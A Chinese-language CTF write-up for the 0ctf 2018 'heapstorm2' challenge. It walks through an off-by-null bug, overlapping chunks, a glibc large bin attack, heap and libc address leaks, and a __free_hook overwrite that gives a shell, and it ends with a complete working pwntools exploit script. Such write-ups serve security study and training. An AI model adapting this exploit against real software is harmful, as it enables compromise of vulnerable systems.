0ctf_2018_heapstorm2

buuoj刷pwn题之0ctf_2018_heapstorm2

参考文章:
https://bbs.pediy.com/thread-225973.htm

当然是保护全开啦
upload successful

关闭了fastbin
upload successful

有add,edit,delete,show

malloc的指针都和随机数异或后存储
upload successful
upload successful

莫得fastbin,要large bin attack

edit功能有off by null的缺陷
upload successful

可以利用这个off by null来制造overlap chunk

通过edit,伪造接下来要用上的pre_size

add(0x18) # 0
add(0x508) # 1
add(0x18) # 2

# 待会mallc(0x18)的时候,会根据1找到下一个chunk的pre_size,与size相等才通过检查
edit(1, 'h' * 0x4f0 + p64(0x500)) # next = chunk+size(改成0x500)


add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4, 'h' * 0x4f0 + p64(0x500)) 
add(0x18) # 6

情况如下
upload successful
upload successful

将chunk1给free掉,然后修改chunk0,off by null将chunk1的size改掉

free(1) # chunk2 pre_size=0x510, inuse=0
edit(0, 'h' * (0x18 - 12)) # chunk1 size=0x500

可以看到,chunk1的size最低字节改成了\x00,从原来的0x510变成了0x500
upload successful

同时,chunk2的inused位变成了0,因为他的前一个chunk(chunk1)已经free了
upload successful

此时再malloc,会从之前的释放的chunk1从分配,因为size已经修改成了0x500,那么下一个chunk的位置就是chunk1+0x500,这个位置是之前构造的pre_size,也是0x500,所以通过检查,可以malloc

add(0x18) # 1
add(0x4d8) # 7

upload successful

此时再释放1和2,要注意2的inused是0,那么chunk1和chunk2会合并入unsorted bin

# chunk1+chunk2合并,node7指向chunk1+0x20+0x10
free(1)
free(2)

而此时的7还可以控制chunk1与chunk2合并后的区域

upload successful

upload successful

然后把这块chunk,再malloc出来

add(0x38) # 1
add(0x4e8) # 2

1和7就重叠了
upload successful

重复一遍操作

free(4)
edit(3, 'h' * (0x18 - 12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)
add(0x48) # 4

4和8也重叠了
upload successful

此时unsorted bin里面还有之前free的4的一部分块(add(0x48)后切割剩下的)
upload successful

此时将2释放,再分配,0x5555557575c0就被安排到large bin里

free(2)
add(0x4e8)

upload successful

然后再释放2,这样就把2放到unsorted bin里了

free(2)

upload successful

通过之前的7可以修改free掉的2,改掉bk

pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)

upload successful

再一波伪造

# modify fake chunk size
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)

pay = p64(0) * 4 + p64(0) + p64(0x4e1) # size
pay += p64(0) + p64(fake_chunk + 8) # bk
pay += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize
edit(8, pay)

upload successful

这里参考了文章,再malloc一下,将会出现unsorted bin中的chunk,扔进large bin的操作(有个检查)

try:
    add(0x48) # 2
    ru('1.')
except EOFError:
    continue

break

copy一下关键源码

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

这里的vicitim是unsorted bin中的chunk,是上图中的,0xxx060,而fwd是large bin中的chunk,为0xxx5c0

这里victim->bk_nextsize=fwd->bk_nextsize使得victim->bk_nextsize=0x133707c3(0x133707c3就是前面的fake_chunk-0x18-5)

然后victim->bk_nextsize->fd_nextsize=victim,就是*(0x133707c3+0x20)=*(0x133707e3)=0xxxx060

这样就修改成功了(开了ASLR后,就有可能是0x56xxxx060了)
upload successful

然后开头的这个0x56就在fake_chunk的size字段
upload successful

这个size要为0x56是要,满足一个检查,要开启chunk的mmap标志位置位。

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
         av == arena_for_chunk (mem2chunk (mem)));

IS_MAPPED位在第二位:
upload successful

参考ctfwiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/
upload successful

fake_chunk搞到了,就可以修改开头的随机数,来使用view了
upload successful

先让node0指向heap位置先,方便后面修改

pay = p64(0) * 2 + p64(0) * 3 + p64(0x13377331)  # view
pay += p64(storage)   # node0: ptr
edit(2, pay)

upload successful

之后就是leak出堆

pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000)  # node0: ptr,size
pay += p64(0x133707e3) + p64(8) # node1: ptr, size
edit(0, pay) 

heap = u64(show(1))
leak('heap', heap)

这个chunk(0xxxx060),的fd字段就是main_arena
upload successful

可leak出main_arena来计算libc的基地址

pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000)  # node0: ptr,size
pay += p64(heap+0x10) + p64(8) # node1: ptr, size
edit(0, pay)

lbase = u64(show(1)) - (0x7f4ef5812b78 - 0x7f4ef544e000)
leak('lbase', lbase)

之后就改free_hook成system,然后getshell

__free_hook = lbase + ctx.libc.sym['__free_hook']
system = lbase + ctx.libc.sym['system']
leak('__free_hook', __free_hook)
leak('system', system)

pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000)  # node0: ptr,size
pay += p64(__free_hook) + p64(8) # node1: ptr, size
pay += p64(storage+0x50) + p64(8) # node2: ptr. size
pay += '/bin/sh\x00' # storage+0x50
edit(0, pay)

edit(1, p64(system))
free(2)

完整exp:

#coding=utf8
#!/usr/bin/python2

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './0ctf_2018_heapstorm2'
ctx.remote = ('0.0.0.0', 0)
ctx.remote_libc = '../../libc/libc-2.23.so'
ctx.debug_remote_libc = True


def add(size):
    sla('Command: ', '1')
    sla('Size: ', str(size))


def edit(index, content):
    sla('Command: ', '2')
    sla('Index: ', str(index))
    sla('Size: ', str(len(content)))
    sa('Content: ', content)


def free(index):
    sla('Command: ', '3')
    sla('Index: ', str(index))


def show(index):
    sla('Command: ', '4')
    sla('Index: ', str(index))
    ru(']: ')
    return r(8)

while True:

    rs()
    # rs('remote')
    # print(ctx.libc.path)


    add(0x18) # 0
    add(0x508) # 1
    add(0x18) # 2

    # 待会mallc(0x18)的时候,会根据1找到下一个chunk的pre_size,与size相等才通过检查
    edit(1, 'a' * 0x4f0 + p64(0x500)) # next = chunk+size(改成0x500)


    add(0x18) # 3
    add(0x508) # 4
    add(0x18) # 5
    edit(4, 'a' * 0x4f0 + p64(0x500)) 
    add(0x18) # 6

    free(1) # chunk2 pre_size=0x510, inuse=0
    edit(0, 'h' * (0x18 - 12)) # chunk1 size=0x500

    # 一共0x500
    add(0x18) # 1
    add(0x4d8) # 7

    # chunk1+chunk2合并,node7指向chunk1+0x20+0x10
    free(1)
    free(2)

    add(0x38) # 1
    add(0x4e8) # 2

    # 4和8重叠
    free(4)
    edit(3, 'h' * (0x18 - 12))
    add(0x18) # 4
    add(0x4d8) # 8
    free(4)
    free(5)
    add(0x48) # 4


    free(2)
    add(0x4e8) # 2
    free(2)

    # modify fake chunk size
    storage = 0x13370000 + 0x800
    fake_chunk = storage - 0x20

    pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
    pay += p64(0) + p64(fake_chunk) # bk
    edit(7, pay)

    pay = p64(0) * 4 + p64(0) + p64(0x4e1) # size
    pay += p64(0) + p64(fake_chunk + 8) # bk
    pay += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize
    edit(8, pay)

    #break
    try:
        add(0x48) # 2
        ru('1.')
    except EOFError:
        continue

    break


pay = p64(0) * 2 + p64(0) * 3 + p64(0x13377331)  # view
pay += p64(storage)   # node0: ptr
edit(2, pay)


# leak heap
# node1 ptr = 0x133707e3, *ptr=0xxxxx060 这是之前构造0x56size字段时弄的堆地址,可以leak出堆 
pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000)  # node0: ptr,size
pay += p64(0x133707e3) + p64(8) # node1: ptr, size
edit(0, pay) 

heap = u64(show(1))
leak('heap', heap)

# leak libc
# 根据这个堆地址,可以leak出main_arena
pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000)  # node0: ptr,size
pay += p64(heap+0x10) + p64(8) # node1: ptr, size
edit(0, pay)

lbase = u64(show(1)) - (0x7f4ef5812b78 - 0x7f4ef544e000)
leak('lbase', lbase)

# modify __free_hook
__free_hook = lbase + ctx.libc.sym['__free_hook']
system = lbase + ctx.libc.sym['system']
leak('__free_hook', __free_hook)
leak('system', system)

pay = p64(0) * 2 + p64(0) + p64(0x13377331)  # view
pay += p64(storage) + p64(0x1000)  # node0: ptr,size
pay += p64(__free_hook) + p64(8) # node1: ptr, size
pay += p64(storage+0x50) + p64(8) # node2: ptr. size
pay += '/bin/sh\x00' # storage+0x50
edit(0, pay)

edit(1, p64(system))
free(2)

#dbg()


irt()